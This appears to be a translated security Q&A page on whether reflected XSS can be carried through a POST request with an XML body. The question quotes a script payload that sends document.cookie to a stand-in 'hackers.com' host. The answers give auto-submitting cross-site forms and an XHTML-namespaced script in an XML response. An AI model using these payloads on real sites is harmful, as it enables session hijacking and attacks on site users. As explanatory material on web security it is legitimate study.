web-dev-qa-db-ja.com

POSTリクエストとXMLペイロードによるXSS攻撃の反映

反映されたXSSは、次のようなGETリクエストで実行できることを知っています。

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

応答がこれに似ている限り:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

しかし、この攻撃は、XMLコンテンツの一部としてhttp本文のPOSTリクエストに沿って検索用語が送信される場合に、依然として可能です。このアプローチは、RESTfulサービスでよく使用されます。

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

これが可能な場合、攻撃者はこれをどのように達成できますか?

[編集]

Content-Typeヘッダーがapplication/xmlに設定されていることも必要です。

6
My-Name-Is

攻撃者は、デフォルト値で自動送信可能なリモートフォームを使用することができます。このような :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

XHTML名前空間を含むスクリプトを追加すると、実行されます。

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-Apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

Example

10
Sajjad Pourali